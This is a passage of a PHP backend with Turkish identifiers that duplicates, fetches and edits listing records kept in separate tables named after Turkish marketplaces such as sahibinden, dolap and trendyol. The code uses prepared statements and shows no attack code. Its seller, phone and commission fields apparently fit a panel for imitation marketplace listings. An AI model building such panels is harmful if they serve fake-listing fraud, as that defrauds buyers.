if (isset($_POST['ilan_durum_degistir'])) {
    $platform = clean($_POST['platform'] ?? '');
    $id = intval($_POST['id'] ?? 0);
    $durum = $_POST['durum'] ?? '0';
    
    $tables = [
        'ilan_sahibinden' => 'ilan_sahibinden',
        'ilan_dolap' => 'ilan_dolap',
        'ilan_letgo' => 'ilan_letgo',
        'ilan_pttavm' => 'ilan_pttavm',
        'ilan_turkcell' => 'ilan_turkcell',
        'ilan_shopier' => 'ilan_shopier',
        'ilan_trendyol' => 'ilan_trendyol'
    ];
    
    if (!isset($tables[$platform]) || $id <= 0) {
        jsonResponse('hata', 'Geçersiz parametre');
    }
    
    $table = $tables[$platform];
    $stmt = $db->prepare("UPDATE $table SET ilandurum = ? WHERE id = ? AND ekleyen = ?");
    $stmt->execute([$durum, $id, $kul_id]);
    jsonResponse('tamam', 'İlan durumu güncellendi');
}

// ============ İLAN BİLGİSİ GETİR ============
if (isset($_POST['getIlanById'])) {
    $platform = clean($_POST['platform'] ?? '');
    $id = intval($_POST['id'] ?? 0);
    
    $tables = [
        'ilan_sahibinden' => 'ilan_sahibinden',
        'ilan_dolap' => 'ilan_dolap',
        'ilan_letgo' => 'ilan_letgo',
        'ilan_pttavm' => 'ilan_pttavm',
        'ilan_turkcell' => 'ilan_turkcell',
        'ilan_shopier' => 'ilan_shopier',
        'ilan_trendyol' => 'ilan_trendyol'
    ];
    
    if (!isset($tables[$platform]) || $id <= 0) {
        jsonResponse('hata', 'Geçersiz parametre');
    }
    
    $table = $tables[$platform];
    $stmt = $db->prepare("SELECT * FROM $table WHERE id = ? AND ekleyen = ?");
    $stmt->execute([$id, $kul_id]);
    $ilan = $stmt->fetch();
    
    if ($ilan) {
        echo json_encode(['sonuc' => 'tamam', 'ilan' => $ilan], JSON_UNESCAPED_UNICODE);
        exit;
    } else {
        jsonResponse('hata', 'İlan bulunamadı');
    }
}

// ============ İLAN ÇOĞALT ============
if (isset($_POST['cogaltIlan'])) {
    $platform = clean($_POST['platform'] ?? '');
    $id = intval($_POST['id'] ?? 0);
    
    $tables = [
        'ilan_sahibinden' => 'ilan_sahibinden',
        'ilan_dolap' => 'ilan_dolap',
        'ilan_letgo' => 'ilan_letgo',
        'ilan_pttavm' => 'ilan_pttavm',
        'ilan_turkcell' => 'ilan_turkcell',
        'ilan_shopier' => 'ilan_shopier',
        'ilan_trendyol' => 'ilan_trendyol'
    ];
    
    if (!isset($tables[$platform]) || $id <= 0) {
        jsonResponse('hata', 'Geçersiz parametre');
    }
    
    $table = $tables[$platform];
    
    // Mevcut ilanı çek
    $stmt = $db->prepare("SELECT * FROM $table WHERE id = ? AND ekleyen = ?");
    $stmt->execute([$id, $kul_id]);
    $ilan = $stmt->fetch();
    
    if (!$ilan) {
        jsonResponse('hata', 'İlan bulunamadı');
    }
    
    // Yeni grup ID oluştur
    $yeni_grup_id = 'GRP_' . time() . '_' . rand(1000, 9999);
    
    // İlanı çoğalt (id hariç tüm alanlar)
    unset($ilan['id']);
    $ilan['grup_id'] = $yeni_grup_id;
    $ilan['urunadi'] = $ilan['urunadi'] . ' (Kopya)';
    
    $columns = implode(', ', array_keys($ilan));
    $placeholders = implode(', ', array_fill(0, count($ilan), '?'));
    
    $stmt = $db->prepare("INSERT INTO $table ($columns) VALUES ($placeholders)");
    $stmt->execute(array_values($ilan));
    
    jsonResponse('tamam', 'İlan çoğaltıldı');
}

// ============ İLAN GÜNCELLE ============
if (isset($_POST['ilanGuncelle'])) {
    $platform = clean($_POST['edit_platform'] ?? '');
    $id = intval($_POST['edit_id'] ?? 0);
    
    $tables = [
        'ilan_sahibinden' => 'ilan_sahibinden',
        'ilan_dolap' => 'ilan_dolap',
        'ilan_letgo' => 'ilan_letgo',
        'ilan_pttavm' => 'ilan_pttavm',
        'ilan_turkcell' => 'ilan_turkcell',
        'ilan_shopier' => 'ilan_shopier',
        'ilan_trendyol' => 'ilan_trendyol'
    ];
    
    if (!isset($tables[$platform]) || $id <= 0) {
        jsonResponse('hata', 'Geçersiz parametre');
    }
    
    $table = $tables[$platform];
    
    // Tüm alanları al
    $urunadi = clean($_POST['edit_urunadi'] ?? '');
    $adsoyad = clean($_POST['edit_adsoyad'] ?? '');
    $urunfiyati = clean($_POST['edit_urunfiyati'] ?? '');
    $komisyon = clean($_POST['edit_komisyon'] ?? '');
    $telno = clean($_POST['edit_telno'] ?? '');
    $ilanno = clean($_POST['edit_ilanno'] ?? '');
    $aciklama = clean($_POST['edit_aciklama'] ?? '');
    $il = clean($_POST['edit_il'] ?? '');
    $ilce = clean($_POST['edit_ilce'] ?? '');
    $mahalle = clean($_POST['edit_mahalle'] ?? '');
    $kimden = clean($_POST['edit_kimden'] ?? '');
    $durumu = clean($_POST['edit_durumu'] ?? '');
    $kullanim = clean($_POST['edit_kullanim'] ?? '');
    $renk = clean($_POST['edit_renk'] ?? '');
    $ilantarihi = clean($_POST['edit_ilantarihi'] ?? '');
    $kargoucreti = clean($_POST['edit_kargoucreti'] ?? '');
    $selectgiris = clean($_POST['edit_selectgiris'] ?? '');
    $ozellik_ad = clean($_POST['edit_ozellik_ad'] ?? '');
    $ozellik_deger = clean($_POST['edit_ozellik_deger'] ?? '');
    
    // Resim yükleme kontrolü
    $resimler = [];
    if (isset($_FILES['edit_resimler']) && !empty($_FILES['edit_resimler']['name'][0])) {
        $resimler = uploadImages($_FILES['edit_resimler'], 5);
    }
    
    // Tablodaki mevcut sütunları al
    $columns = [];
    try {
        $colQuery = $db->query("DESCRIBE $table");
        while ($col = $colQuery->fetch()) {
            $columns[] = $col['Field'];
        }
    } catch (Exception $e) {
        $columns = ['urunadi', 'adsoyad', 'urunfiyati', 'aciklama']; // Fallback
    }
    
    // Güncellenecek alanlar - sadece tabloda olanlar
    $updateFields = [];
    $params = [];
    
    $fieldMap = [
        'urunadi' => $urunadi,
        'adsoyad' => $adsoyad,
        'urunfiyati' => $urunfiyati,
        'komisyon' => $komisyon,
        'telno' => $telno,
        'ilanno' => $ilanno,
        'aciklama' => $aciklama,
        'il' => $il,
        'ilce' => $ilce,
        'mahalle' => $mahalle,
        'kimden' => $kimden,
        'durumu' => $durumu,
        'kullanim' => $kullanim,
        'renk' => $renk,
        'ilantarihi' => $ilantarihi,
        'kargoucreti' => $kargoucreti,
        'selectgiris' => $selectgiris,
        'ozellik_ad' => $ozellik_ad,
        'ozellik_deger' => $ozellik_deger
    ];
    
    foreach ($fieldMap as $field => $value) {
        if (in_array($field, $columns)) {
            $updateFields[] = "$field = ?";
            $params[] = $value;
        }
    }
    
    // Resim varsa ekle
    if (!empty($resimler)) {
        for ($i = 0; $i < 5; $i++) {
            $resimNo = $i + 1;
            $resimKey = "resim$resimNo";
            $resimDeger = $resimler[$i] ?? '';
            if (!empty($resimDeger) && in_array($resimKey, $columns)) {
                $updateFields[] = "$resimKey = ?";
                $params[] = $resimDeger;
            }
        }
    }
    
    if (empty($updateFields)) {
        jsonResponse('hata', 'Güncellenecek alan bulunamadı');
    }
    
    $sql = "UPDATE $table SET " . implode(', ', $updateFields) . " WHERE id = ? AND ekleyen = ?";
    $params[] = $id;
    $params[] = $kul_id;
    
    try {
        $stmt = $db->prepare($sql);
        $stmt->execute($params);
        jsonResponse('tamam', 'İlan güncellendi');
        jsonResponse('tamam', 'İlan güncellendi');
    } catch (Exception $e) {
        jsonResponse('hata', 'Güncelleme hatası: ' . $e->getMessage());
    }
}

// ============ DEFAULT RESPONSE ============
// Hiçbir işlem eşleşmediyse
jsonResponse("bos", "Geçersiz istek");

